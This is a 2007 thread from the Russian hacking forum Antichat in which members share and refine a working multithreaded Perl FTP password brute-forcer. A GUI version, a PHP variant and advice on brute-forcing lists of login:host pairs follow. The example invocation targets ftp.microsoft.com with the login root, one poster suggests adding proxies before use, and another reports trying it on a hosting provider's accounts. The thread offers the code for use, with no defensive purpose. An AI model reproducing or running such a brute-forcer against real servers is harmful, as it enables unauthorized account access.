Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   ФТП брутер (https://forum.antichat.xyz/showthread.php?t=55661)

Spyder 12.12.2007 23:26

ФТП брутер
 
Кароче я знаю что в инете полно таких брутеров. Я писал для освоения Perl'a
Брутер многопоточный
Код:

#!perl -w
use strict;
use Net::FTP; # if doesn't work use NET::FTP
use threads;
use threads::shared;
my @pass : shared;
my @trl;
my $ip = "$ARGV[0]";
my $login = "$ARGV[1]";
my $thr = $ARGV[2];
open (SRC, "$ARGV[3]") or die "Can't open:$!";
Next:
@pass = pass();
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $ok);
}
for(0..$thr)
{
$trl[$_]->join;
}
sub Brut
{
while (@pass)
{
my $pass = shift @pass;
print "Checking password : \t$pass\n";
my $ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
if ($ok) {
print "Pass for $ip is $pass\n";
exit;
}
}
}
goto Next;

sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
my $n = @mas;
if ($n == 0) {
        print "Password not found\n";
        exit;
} else {
return @mas;
}
}

запускаем
perl bruteng.pl <хост> <логин> <файл_с_паролями> <потоки>
perl bruteng.pl ftp.microsoft.com root C:/xek.txt 100

ЗЫ Вроде работает :D

scrat 12.12.2007 23:31

было бы интересно посмотреть на php

Spyder 12.12.2007 23:33

многопоточности в пшп как таковой нету. Вернее есть, но через анал =\

C!klodoL 12.12.2007 23:40

$login = "$ARGV[1]";
$ip = "$ARGV[0]";
это лучше вынести в начало кода, а не каждый раз в потоке присваивать значение переменным

Spyder 12.12.2007 23:42

помойму у меня какая то проблема вызникала с этим и я решил забить =)))
Вобщем учту и доработаю. Написал версию с ГУИ но там какие то траблы небольшие были, мб позже выложу

blackybr 13.12.2007 00:02

молодца..
кстати очень интересно посмотреть
как ты реализовал threads + tk :))

Spyder 13.12.2007 00:10

вот с этим проблемка и возникла
После того как брутер находит верный пасс записывает его в файл и выполняет die, после чего интепритатор перла выдаёт ошибку, типа невозможно создать новый поток ибо die()
По идее он работает, просто несовем эстетично
Кароче как разберусь, выложу

n3m0 13.12.2007 00:15

Ну вот пример на PHP:

PHP код:

<?php
if ($argc ) {
$ftp_server $argv[1];
$ftp_user_name $argv[2];
$conn_id ftp_connect($ftp_server);
$f fopen($argv[3],"r");
while(!
feof($f))
{
$ftp_user_pass fgets($f,255);

$login_result ftp_login($conn_id$ftp_user_name$ftp_user_pass); 

 if (
$login_result)) { 
        echo 
"password found! ftp://$ftp_user_name@$ftp_server where password : $ftp_user_pass";
    }

}
fclose($argv[3]);
ftp_close($conn_id); 
} else
{
echo 
"Usage: ".$argv[0]." ftp.server usename password.txt";

}
?>

работоспособность не гарантирую, так как не проверял.

ЗЫ осталось прокси добавить и можна юзать ))

Ni0x 13.12.2007 00:41

Цитата:

PHP-FTPbrute v0.1a\n\n\t c0d3d by n3m0
Строчка просто убила. Что за мания писать примитивный код и вставлять свои нелепые с0ded by ... version 0.0.0.1 pre alpha. На всякий случай, если будут баги, можно списать все на альфа-версию ;) .

n3m0 13.12.2007 00:47

та то по приколу написал))) Вообще топик не моему скрипту посвящен. Уделайте внимание ТСу

genom-- 13.12.2007 01:15

насчет брутера - сделай чтобы не под 1 логин был
насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась) все невозможное возможно -- предлагаю именно блеки взглянуть на наш со слайдером мыл киллер -- там все есть -- есдинственный лаг при работе с tk это то что он сбивает адреса потоков в памяти и их нельзя завершить и они остаются висеть так что надо создат потоки и вкидывать в них пассы не пересоздавая -- да и если 100 раз запустить на разные хостя то оператива засрется а так вполне работоспособно и мило

в качестве альтернативы этому я думал делать(генерировать) отдельный многопоточный скрипт и вызывать его из основного с гуи и чтобы он через return или в файл возвращал результат работы а основной только анализировал его и выводил пользователю

PS код можно оптимизировать в лудшую сторону -- за сторания ++ -- практика практика и еще раз практика и у тебя будет красивый код - я тоже помнится не оч над этим задумывался пока меня ксури и киба не тыкнули мордой в него и сказали че за херня =)

Spyder 13.12.2007 01:16

В скрипте были ошибки + несовсем корректно работал
Всё исправил, пользуйтесь =)
Геном, про несколько логинов я думал, возможно потом реализую

pento 13.12.2007 01:46

Ужасное форматирование языка с ужасным синтаксисом.

Spyder 13.12.2007 01:47

Multithread FTP Bruter Tk/GUI
 
Вобщем вот кое что подправил. проблема была из-за прагмы strict, так как я не мог понять в чём же проблема, принял решение её убрать.
По скрипту. В первое поле вставляем адрес, второе - логин, тректье путь к файлу для сохранения результата. Хочу заметить что его придётся укзаывать ручками, не стал использовать диалог бокс, имхо незачем. Следующее поле для выбора словаря с паролями, сдесь заюзал функцию getOpenFile(), так удобнее, ну и в последнее поле указываем потоки
Скрипт начинает брутить фтп, при удачном нахождении результат заносится в файл который вы указали и прога закрывается. Вот сдесь мне нужна помощь перл гуру, как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?
Если пароль не найден в файл пишется Password not found и прога тоже закрывается (то же самое, как?). В интерпритатор вываливается куча ошибок в любом случае, там и глобал дистракшн из-за exit и сообщения о невозможности создать новые потоки. вот тут тоже выслушаю ваши замечания
Собственно сам код
Код:

#!/usr/bin/perl
use Tk;
use NET::FTP;
use threads;
use threads::shared;
my @pass : shared;
my($main,$addr,$dicfile,$fo,$thrd,$save,$login);

$main=MainWindow->new(-title => 'FTP bruter by Spyder');
$main->geometry ('320x220');
$main->resizable (0,0);
$main->Label(-text => 'Enter targer for brute (without ftp://)')->pack();
$addr=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Login')->pack;
$login=$main->Entry(-width => 50)->pack;
$main->Label(-text => "Enter path to save result")->pack;
$save=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Choose file with passwords')->pack;
$dicfile=$main->Entry(-width => 50,
                      -textvariable => \$fo)->pack;
$main->Button(-text => 'Start brute',
              -width=> '80',
              -height=> '1',
              -font => 'courier',
              -command => \&Brute)->pack(-side => 'bottom');
$main->Button(-text => 'Browse',
              -command => \&fileopen)->pack(-side => 'left');
$thrd=$main->Entry(-width => 5)->pack(-side => 'right');
$main->Label(-text => 'Threads:')->pack(-side => 'right');
sub fileopen
{
        $fo = $main->getOpenFile();
}     
MainLoop;
sub Brute
{
        $thr = int($thrd->get);
        $file = $dicfile->get;
        $fsave = $save->get;
        open (SRC, "<$file") or die "Can't open:$!";
        Next:
        @pass = pass();
        my @trl;
        for(0..$thr)
        {
                $trl[$_] = threads->create(\&Brut, $_);
        }
        for(0..$thr)
        {
                $trl[$_]->join
        }
                   
        sub Brut
        {
                while (@pass) {
                        $pass = shift @pass;
                        $fsave = $save->get;
                        $ip = $addr->get;
                        $log_in = $login->get;
                        $ftp = Net::FTP->new($ip);         
                        $ok = $ftp->login($log_in,$pass) or exit "$!";
                        if ($ok)
                        {
                                open (SAVE, ">>$fsave") or exit "Can't save:$!";
                                print SAVE "Password for $ip is $pass\n";
                                close (SAVE);
                                exit;
                        }
        }
}
goto Next;

sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
$n = @mas;
if ($n == 0) {
        open (SAVE, ">>$fsave") or die "Can't save:$!";
        print SAVE "Password not found\n";
        close (SAVE);
        exit;
} else {
return @mas;
}
}
}

Не знаю то ли это чего вы ждали, но оно всё же работает =))

KSURi 13.12.2007 02:19

Цитата:

Сообщение от genom--
насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась)

Статус Тк не позволяет (при стандартной связке Tk+threads) внедрять многопоточность только по отношению к себе. Т.е. разработка "нормального" гуя, где элементы гуя контролируются одними потоками, а работа скрипта выполняется другими, в данном случае не возможна.

Я хотел было заморочиться по этому поводу, в мыслях было написать многопоточную обертку для Tk, но мои телодвижения в данном направлении окончились после этих строк:
Код:

#!perl

use strict;
use warnings;

use Tk;
use threads;

my($MW);

threads -> create(\&StartGUI, 'Tk & threads', [640, 480], [0, 0]) -> detach;

sub StartGUI
{
    my($title, $geometry, $resizable) = @_;
   
    $MW = MainWindow -> new(-title => $title);
    $MW -> geometry($geometry -> [0] . 'x' . $geometry -> [1]);
    $MW -> resizable($resizable -> [0], $resizable -> [1]);
   
    MainLoop;
}

Без исправлений на уровне XS, мне кажется, тут ничего уже не попишешь.

C!klodoL 13.12.2007 03:19

как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?

ну проще сделать брут по списку login:host из файла, только тебе нужно изменить код чтобы хосты и пассы сразу заносились в массивы (правда тут словарь метров эдак на 200 не заюзаешь, оперативки не хватит, но с другой стороны врядли кто будет таким словарем брутить)), вот примерно как это может выглядеть:

Код:

sub brut
{
        while (@ftps)
        {
                $ftp = shift @ftps;
                ($login, $host) = split (/:/, $ftp);
                        foreach (@passwords)
                        {
                                $_ обходим все пассы в масиве
                        }
        }
}


vp$ 13.12.2007 06:04

проверял для хостинго jino.ru
ftp:// -- login.jino.ru
login -- login
где логин это учетка на хостинге
прога при запуске подумала немного и вырубилась

Spyder 13.12.2007 11:04

проверял на нарроде + обычные фтп
всё работает
Ты какой скрипт проверял? С ГУИ? Если да то он тебе должен результат в файл занести или может ты чё то не так делаешь
C!klodoL, ты меня наверное немного не понял. Вобщем Ксури подсказал идею с сабами, попробую сделать

satana8920 13.06.2008 23:21

вот бы было бы не плохо еси мона было б подгружать список логинов
я не большой ценитель гиу я маньяк ретро консоли
по этому думаю что лучше бы старую версию доработать


Время: 21:35